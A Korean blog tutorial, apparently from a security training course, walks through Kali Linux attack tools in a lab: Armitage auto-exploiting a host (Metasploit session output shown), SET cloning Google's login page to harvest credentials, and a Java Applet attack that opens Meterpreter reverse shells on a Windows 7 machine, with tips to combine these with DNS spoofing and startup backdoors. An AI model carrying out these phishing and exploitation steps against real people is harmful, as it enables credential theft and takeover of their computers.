본문 바로가기

Learning/└◆Security Section

[메타스플로잇]Metasploit_SE toolkit

 

 

 

[실습] 칼리 리눅스 사용하기 6

윈도우즈(window7)Metasploit 다운로드 하고 설치해 보자.

) --> 

                       +--- (CLI) msfcli CMD      : non-interractive

MSF(msfd)  ----+--- (CLI) msfconsole CMD  : interractive

                       +--- (GUI) armitage        :

                       +--- (GUI) msfgui/msfweb   : 

) --> 

msfgui는 개발이 중지되어 업데이트 되지 않고 msfweb는 라이센스 필요하며 나머지는 내장되어있다.

Armitage 도구와 msfgui

ArmitageRaphael Mudge가 개발한 GUI 기반을 둔 도구로 자동 공격 도구(점검 도구)인 메타스플로잇의 도구 중 하나로 포함돼 있다.

스캔을 통해 해당 서비스에 적합한 공격을 골라내 선택할 수 있고, 옵션들도 자동으로 입력되기 때문에 점검자 입장에서는 많은 고민을 하지 않아도 되는 아주 편리한 도구이다.

ArmitagemsfguiMSF 4.6부터는 무료 버전에서는 지원되지 않는다. 따라서 해당 도구를 사용하기 위해서는 윈도우 환경에서 별도의 프로그램 설치해 사용하거나, MSF 업데이트한 것에서 모듈을 가져와 기존 버전을 올려서 사용하는 방안을 검토해야 한다.

) --> 

) --> 

사용시스템

            - Windows 7

            - Firewall

) --> 

) --> 

다음 사이트에서 프로그램을 다운로드 한다.

) --> 

           msfgui 최신 버전 다운로드

            - http://www.scriptjunkie.us/2013/04/using-the-gui-in-metasploit-4-6/

) --> 

           Metasploit 최신 버전 다운로드(윈도우용)

            - http://metasploit.com/download

) --> 

(주의) 설치전에 잠시 Virus Detection 툴은 종료한다.

) --> 

Metasploit 최신 버전을 윈도우에 설치한다.

           인터넷 점검(외부와 통신 가능 여부 확인)

) --> 

           MSF 최신 버전으로 다운로드(윈도우용) - http://metasploit.com/download

           Metasploit Community 버전 선택

) --> 

msfgui 프로그램을 윈도우에 설치한다.

           msfgui 최신 버전 프로그램을 다운로드

           http://www.scriptjunkie.us/2013/04/using-the-gui-in-metasploit-4-6/

) --> 

msfgui로 실습하지는 않고 어떤 프로그램인지 개요만 확인한다.

칼리리눅스 에 내장되어 있는 Armitage로 실습해본다.(armitage)

 

 # armitage

공격모듈을 Armitage에 적재 시키기 위한 RPC 통신을 하는 과정 Host,Port,User등 설정되어 있는 값 그대로 연결한다.

Connect를 눌러 실행

 

ㄱ) Hosts -> Nmap Scan -> Quick Scan 정보 수집

Exploits, Hosts, Console으로 나누어져 있으며, 왼쪽 상단 적재된  Metasploit의

Exploit,Payload모듈 등을 디렉토리 별 혹은 검색을 통해 확인할 수 있다.

Nmap을 이용하여 포트스캔 후 공격하고자 하는 대상의 OS 종류 및 버전, 열린 포트번호 정보를

수집할 수 있다.

 

 

 

ㄴ)대상 선정

 

 

ㄷ)공격할 수 있는 방법 자동 모색

포트스캔으로 대상탐색 및 정보수집을 마친 뒤, Find Attacks 기능을 사용하여 각 대상의 OS종류 서버 버전 포트번호 등을

매칭하여 공격 가능한 모듈을 탐색한다.

(Nmap -V 옵션으로 IP별 Exploit을 매핑해 주는 VulScan과 동일한 기능을 한다고 볼 수 있다.)

 

ㄹ)Hail Mary

Find Attacks으로 각 대상에 맞는 공격 테스트를 진행할 수 있다

Finding exploits로 위에서 확인한 공격 방법들을 하나씩 다 해보기에 시간이 너무 많이 든다.

Find Attack이 단순히 정보에 의한 Exploit 매칭이라면, 이 기능은 적재된 모든 Exploit을 하나씩 테스트하여

공격 가능한 모듈을 직접 찾아준다.

(Hail Mary를 선택하면 위 방법들을 전부 자동으로 공격하여 진단하여준다.)

 

 

 

Exploit테스트가 끝나면 취약점이 발견된 호스트에 세션을 연결하여 해당 PC를 감염시킨다.

 

세션결과

[*] Listing sessions...
msf > sessions -v

Active sessions
===============

  Session ID: 1
        Type: shell php
        Info:
      Tunnel: 192.168.31.50:42839 -> 192.168.31.134:5911 (192.168.31.134)
         Via: exploit/multi/http/php_cgi_arg_injection
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

  Session ID: 2
        Type: shell unix
        Info:
      Tunnel: 192.168.31.50:35555 -> 192.168.31.134:6200 (192.168.31.134)
         Via: exploit/unix/ftp/vsftpd_234_backdoor
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

  Session ID: 3
        Type: shell php
        Info:
      Tunnel: 192.168.31.50:39067 -> 192.168.31.134:11109 (192.168.31.134)
         Via: exploit/unix/webapp/tikiwiki_graph_formula_exec
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

  Session ID: 4
        Type: shell linux
        Info:
      Tunnel: 192.168.31.50:5430 -> 192.168.31.134:53382 (192.168.31.134)
         Via: exploit/linux/postgres/postgres_payload
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

  Session ID: 5
        Type: shell unix
        Info:
      Tunnel: 192.168.31.50:1808 -> 192.168.31.134:59385 (192.168.31.134)
         Via: exploit/multi/samba/usermap_script
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

  Session ID: 6
        Type: shell unix
        Info:
      Tunnel: 192.168.31.50:11025 -> 192.168.31.134:58504 (192.168.31.134)
         Via: exploit/multi/samba/usermap_script
        UUID:
   MachineID:
     CheckIn: <none>
  Registered: No

 

Armitage는 그래픽 버전의 메타스플로잇 인터페이스라고 생각하면 된다.

빠르고 쉬운 해킹이 가능하며, 고도화된 해킹 기술을 포함하고 있다.

 

Windows,Linux,Mac등 여러가지 운영체제에서도 호환되며, Kali Linux에 기본적으로 포함되어 있다.

 

 

 

 

[실습] 칼리 리눅스 사용하기 7

ex1) Fake Site를 이용한 Victim(피해자) 계정/패스워드 획득하기

 

패스트 트랙(Fasttrack): 자동 공격 도구

메타스포로잇 모듈을 사용한다.

이 도구는 메타스포로잇에 기반을 두고 있고 공격 기법 중 하나인 Autopwn 공격은 내장되어 있는 기능 중 엔맵(nmap)을 통해 네트워크 스캐닝 작업을 하여 대상 시스템을 검색하고, 그에 대한 운영체제, 포트, IP 주소를 분석하며 그에 해당하는 모든 취약점을 자동화 스크립트로 공격한다.

칼리리눅스에서는 SET(사회 공학 기법)에 통합되었다.

 

 

SET(Social Engineering Tech., 사회 공학적 공격 기법)

사회공학이란 컴퓨터 보안에서 인간 상호작용의 깊은 신뢰를 바탕으로 사람들을 속여 정상 보안 절차를 깨트리기 위한 비기술적 침입 수단이다.

APT(Advanced Persistent Threat) 공격이 이제 공공기관과 특정 사용자를 타겟 대상으로 접근하다 보니 더욱더 내부적인 보안에 신경을 쓰게 되었다.

 

사용시스템

- Kali Linux

- Windows 7

 

(Kali Linux)

--------------------------------------------------------------------------- 

SE Tookit 실행 방법

Kali Linux > Exploitation Tools > Social Engineering Toolkit > setoolkit

or

# setoolkit

--------------------------------------------------------------------------- 

# vi /usr/share/set/config/set_config

# /usr/share/set

# ls 결과 set_config는 없다.

리눅스2.0부터 쓰지않음

-> http://chogar.blog.me/80210217409 칼리리눅스에서 SET 사용법에 대한 자세한 내용

 

# setoolkit

간단하게 메뉴 위주로 설명 하겠다.

 

Select from the menu:

 

1) Social-Engineering Attacks     SE어택 (단일기능)

2) Fast-Track Penetration Testing 어택을 한번에 수행(여러가지)

3) Third Party Modules

4) Update the Metasploit Framework 업데이트

5) Update the Social-Engineer Toolkit 업데이트

6) Update SET configuration

7) Help, Credits, and About

 

99) Exit the Social-Engineer Toolkit

 

업데이트를 먼저 해보기 위해 set>4 와 set>5를 각 눌러본다.

아무 변화가 없다.

보통 업데이트를 하게 되면 아주 오랜시간이 걸리고 최대 반나절 이상 걸릴수 있다.

 

 

Set>1 선택하고나면

 

 

Select from the menu:

 

1) Spear-Phishing Attack Vectors 스피어피싱

2) Website Attack Vectors       웹공격

3) Infectious Media Generator   악의적 미디어 제너레이터

4) Create a Payload and Listener payload,Listner생성

5) Mass Mailer Attack 대량 메일폭탄

6) Arduino-Based Attack Vector Arduino공격

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector WAP(가짜AP)공격

9) QRCode Generator Attack Vector QR코드 유용한 공격

10) Powershell Attack Vectors 파워셸 공격(바이러스 디텍션 기능 저하)

11) Third Party Modules

 

99) Return back to the main menu.

 

여러가지 공격패턴이 나온다.

 

웹 어택 선택

 

1) 자바

2) 브라우저

3) 정보 수집

Fake Site로 ID/PW 수집할 수 있도록 3번 선택

 

 

1) Web Templates   <= 구글 및 유명한 사이트 지정해서 사용 (미리 만들어 놓은) 

2) Site Cloner      <= 템플릿이 없는 경우 ID/PW 수집하려고 겉모양만 같은 Fake Site

 

3) Custom Import    <= 직접 tool을 지정해서 사용(직접 툴 제작)

1번을 선택한다

 

 

set:webattack> 1

[-] Credential harvester will allow you to utilize the clone capabilities within SET

[-] to harvest credentials or parameters from a website as well as place them into a report

[-] This option is used for what IP the server will POST to.

[-] If you're using an external IP, use your external IP for this

set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.50

1. Java Required

2. Google       <--대표적인 사이트들 중 구글로 시연해보자.

3. Facebook

4. Twitter

5. Yahoo

 

set:webattack> Select a template: 2

[*] Cloning the website: http://www.google.com

[*] This could take a little bit...

 

The best way to use this attack is if username and password form

fields are available. Regardless, this captures all POSTs on a website.

[*] Apache is set to ON - everything will be placed in your web root directory of apache.

[*] Files will be written out to the root directory of apache.

[*] ALL files are within your Apache directory since you specified it to ON.

[!] Apache may be not running, do you want SET to start the process? [y/n]:y

 

[ ok ] Starting web server: apache2.

Apache webserver is set to ON. Copying over PHP file to the website.

Please note that all output from the harvester will be found under apache_dir/harvester_date.txt

Feel free to customize post.php in the /var/www directory

[*] All files have been copied to /var/www

{Press return to continue}

 

자신의 ip를 적고 2번 구글을 선택하면

ip주소를 웹사이트 주소창에 입력하면 구글과 흡사한(거의같은) 사이트가 열린다.

 

실제 리버스 엔지니어링과 같은 방법으로 구글의 사이트와 똑같이 제작되어 있는 악성사이트 이다.

 

 

 

[TERM2]

# cd /var/www/html

# ls

# cat index.html

# cat post.php

# cat harvester_*.txt

# pgrep -lf apache2

 

새로운 터미널을 열어서 /var/www/html 로 들어가서 ls를 쳐보면

위와 같은 파일들이 존재하는걸 확인 할 수 있다.

 

위 SE toolkit 과정에서 사용했던 내용들은 이와같은 파일들을 생성하는 진행이였다.

index.html 을 cat명령어로 열어보면 실제 구글사이트와 거의 흡사하게 만들어져있다

 

harvester...txt 파일은 Fake google site에 접속해서

로그인 시 계정과 비밀번호가 수집되어 기록되어진다.

 

post.php는 php구문으로 되어있다 출력되는 것을 file에 저장하는 등을 수행한다.

 

이처럼 실제 구글과 같은 모습을 하고있는 가짜 사이트가 나타나게 되고 실제 이곳에서 로그인을 시도할시

정상 로그인이 당연히 되지 않을 뿐더러 해커에게 자신의 계정과 비밀번호를 노출하게 되는 일이 발생한다.

 

 

 

 

Win7 에서도 실행해본 결과이다.

로그인을 하게되면 로그인은 되지 않고 실제 구글사이트로 정상적으로 넘어간다.

 

 

 

하지만 위 실습은 한가지 단점이 있다. 실제 사이트 도메인 주소가 아닌

IP주소를 입력해야 fake site가 나타나기 때문이다.

IP주소를 직접 입력해서 사이트를 접속하는 사람은 거의 없다.

하지만 이 과정을 이전에 실습했던 방법들과 유연하게 섞는다면 더욱 큰 효과를 가져올수 있다.

 

(정리) 이전의 작업과 비교해 보자

(이전 실습) ARP Spoofing + DNS Spoofing = 도메인으로 접속,하지만 여러가지 정보들이 필요함

(현재 실습) Fake Site 구성 + ID/PASS 수집 = 가짜 사이트구성이 편리함, 하지만 ip로 접속하여야한다.

두가지를 함께 이용 setoolkit으로 쉽게 사이트를 제작후 DNS Spoofing 으로 공격한다면

피해자는 보안이 허술하다면 속수무책으로 당할 수 밖에 없다.

 

# mkdir -p /backup

# cd /var/www/html

# tar cvzf /backup/FakeWeb1.zip .

# rm -rf /var/www/html/*

 

완성된 파일을 로컬에 저장하여 놓는다면 언제든지 쉽게 사용할 수 있다.

 

 

다음은 Java Applet을 이용한 방법이다.

Java Applet Attack Method

 

(Kali Linux)

# setoolkit

..... (중략) .....

 

Select from the menu:

 

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework

5) Update the Social-Engineer Toolkit

6) Update SET configuration

7) Help, Credits, and About

 

99) Exit the Social-Engineer Toolkit

 

set> 1

 

..... (중략) .....

 

Select from the menu:

 

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector

9) QRCode Generator Attack Vector

10) Powershell Attack Vectors

11) Third Party Modules

 

99) Return back to the main menu.

 

set> 2

 

The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

 

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

 

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

 

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

 

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

 

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

 

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

 

1) Java Applet Attack Method     <--자바 프로그램 공격

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

5) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Full Screen Attack Method

 

99) Return to Main Menu

 

set:webattack>1

 

The first method will allow SET to import a list of pre-defined web

applications that it can utilize within the attack.

 

The second method will completely clone a website of your choosing

and allow you to utilize the attack vectors within the completely

same web application you were attempting to clone.

 

The third method allows you to import your own website, note that you

should only have an index.html when using the import website

functionality.

1) Web Templates

2) Site Cloner

3) Custom Import

 

99) Return to Webattack Menu

 

set:webattack>1

[-] NAT/Port Forwarding can be used in the cases where your SET machine is

[-] not externally exposed and may be a different IP address than your reverse listener.

set> Are you using NAT/Port Forwarding [yes|no]: no NAT안쪽,공격자가 사설IP안에 있을 때

공인 IP로 들어오면 외부에 사설ip로 포트번호를 넘겨줄수 있는 설정을 하여야 통신가능

그런 기능을 사용할 때 Yes

[-] Enter the IP address of your interface IP or if your using an external IP, what

[-] will be used for the connection back and to house the web server (your interface address)

set:webattack> IP address or hostname for the reverse connection: 192.168.20.50

 

Select which option you want:

 

1. Make my own self-signed certificate applet.

2. Use the applet built into SET. 인증서 자동, SET툴킷이 알아서 빌드시켜주는 방법

3. I have my own code signing certificate or applet.

 

Enter the number you want to use [1-3]: 2

[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of Java :(

 

1. Java Required

2. Google

3. Facebook

4. Twitter

5. Yahoo

 

set:webattack> Select a template:2

 

[*] Cloning the website: http://www.google.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.

[*] Filename obfuscation complete. Payload name is: llOdplapGIWHnqh

[*] Malicious java applet website prepped for deployment

 

 

What payload do you want to generate:

 

  What payload do you want to generate:

  Name:                                       Description:

   1) Meterpreter Memory Injection (DEFAULT)  

   2) Meterpreter Multi-Memory Injection      

   3) SE Toolkit Interactive Shell            

   4) SE Toolkit HTTP Reverse Shell           
   5) RATTE HTTP Tunneling Payload         

   6) ShellCodeExec Alphanum Shellcode    

   7) Import your own executable             

 

set:payloads>1

set:payloads> PORT of the listener [443]: <ENTER> <-- default

[*] Generating x86-based powershell injection code for port: 22

[*] Generating x86-based powershell injection code for port: 53

[*] Generating x86-based powershell injection code for port: 443

[*] Generating x86-based powershell injection code for port: 21

[*] Generating x86-based powershell injection code for port: 25

[*] Finished generating powershell injection bypass.

[*] Encoded to bypass execution restriction policy...

[-] Encoding the payload 4 times. [-]

 

Select the payload you want to deliver via shellcode injection

   1) Windows Meterpreter Reverse TCP
   2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
   3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager
   4) Windows Meterpreter (ALL PORTS) Reverse TCP

set:payloads> Enter the number for the payload [meterpreter_reverse_https]:2

 

 

***************************************************

Web Server Launched. Welcome to the SET Web Attack.

***************************************************

 

.....중략......

 

[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 192.168.20.50:25

[*] Starting the payload handler...

cd /var/www/html

file*

 

악성파일

  

 

(windows 7) 

(필요하면) JAVA 설치(https://java.com/ko/download/ie_manual.jsp?locale=ko)

 

(주의) 시작

> 모든 프로그램

> java

> java 구성("Configure Java")

> 보안 탭

> 보안 레벨을 낮춘다.

"높음" 선택

예외 사항 사이트 등록

http://192.168.20.50

https://192.168.20.50

> 적용

 

보안 레벨이 더낮아지면 사이트 접속시 Java프로그램 설치 여부를 묻지도 않고 자동으로 설치하게 된다.

 

Mozilla Firefox를 사용하여 접속한다.

http://192.168.20.50/

-> Java Selevet download 한다.

-> www.google.com 사이트로 포워딩 된다.

 

 

 

 

 

(Kali Linux)

[*] Started reverse handler on 192.168.20.50:21

[*] Starting the payload handler...

[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 192.168.20.50:25

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.202:50752) at 2014-07-21 21:04:00 +0900

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Sending stage (769536 bytes) to 192.168.20.202

[*] Meterpreter session 2 opened (192.168.20.50:443 -> 192.168.20.202:50755) at 2014-07-21 21:04:03 +0900

[*] Meterpreter session 3 opened (192.168.20.50:25 -> 192.168.20.202:50758) at 2014-07-21 21:04:03 +0900

[*] Meterpreter session 4 opened (192.168.20.50:22 -> 192.168.20.202:50756) at 2014-07-21 21:04:03 +0900

[*] Meterpreter session 5 opened (192.168.20.50:21 -> 192.168.20.202:50759) at 2014-07-21 21:04:03 +0900

[*] Meterpreter session 6 opened (192.168.20.50:53 -> 192.168.20.202:50757) at 2014-07-21 21:04:03 +0900

<ENTER>

msf exploit(handler) > sessions -i

 

Active sessions

===============

 

Id Type Information Connection

-- ---- ----------- ----------

1 meterpreter x86/win32 soldesk-PC\soldesk @ SOLDESK-PC 192.168.20.50:443 -> 192.168.20.202:50053 (192.168.20.202)

 

 

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

 

meterpreter > sysinfo

Computer : SOLDESK-PC

OS : Windows 7 (Build 7601, Service Pack 1).

Architecture : x64 (Current Process is WOW64)

System Language : ko_KR

Meterpreter : x86/win32

 

meterpreter > quit

[*] Shutting down Meterpreter...

 

[*] 192.168.20.202 - Meterpreter session 1 closed. Reason: User exit

msf exploit(handler) > quit

[*] You have active sessions open, to exit anyway type "exit -y"

msf exploit(handler) > exit -y

 

Press [return] when finished.

[*] Everything has been moved over to Apache and is ready to go.

 

Press <return> to continue

 

[TERM2] 다른 터미널에서

# cd /var/www

# ls

 

<ENTER>

<ENTER>

set:webattack>99

set> 99

set> 99

-> 종료한다.

 

특정 사이트에 들어가면 상단에 Java Applet Attack Method

처럼  엑티브 설치가 뜨게 된다. 보통 사용자들은 특정 사이트를 이용할때

엑티브가 필요하면 다운받는다. 사이트 혹은 페이지가 보이지 않을 때 팝업을 허용하는 것과 같은 맥락이다.

이 작업과 이전 공격방법들은 같이 사용한다면 피해자가 로그인을 하지 않더라도 쉽게 감염될 수 있다.

 

(정리) 이전의 작업과 비교해 보자

(이전 설정) ARP Spoofing + DNS Spoofing

(이전 설정) reverse_tcp(Backdoor)를 윈도우 PC에 직접 설치

(현재 설정) Fake Site + Java Applet

 

Spoofing을 사용해서 상대방의 DNS Server를 Fake DNS로 변경한뒤

Fake Site + Java Applet를 이용하여 PC를 감염시키고 세션이 연결된 피해자의 PC에

reverce_tcp와 같은 악성프로그램을 시작프로그램에 설치한다.

 

 

# mkdir -p /backup

# cd /var/www/html

# tar cvzf /backup/FakeWeb2.tar.gz .

 

그외 여러가지 추가 시나리오 ↓↓↓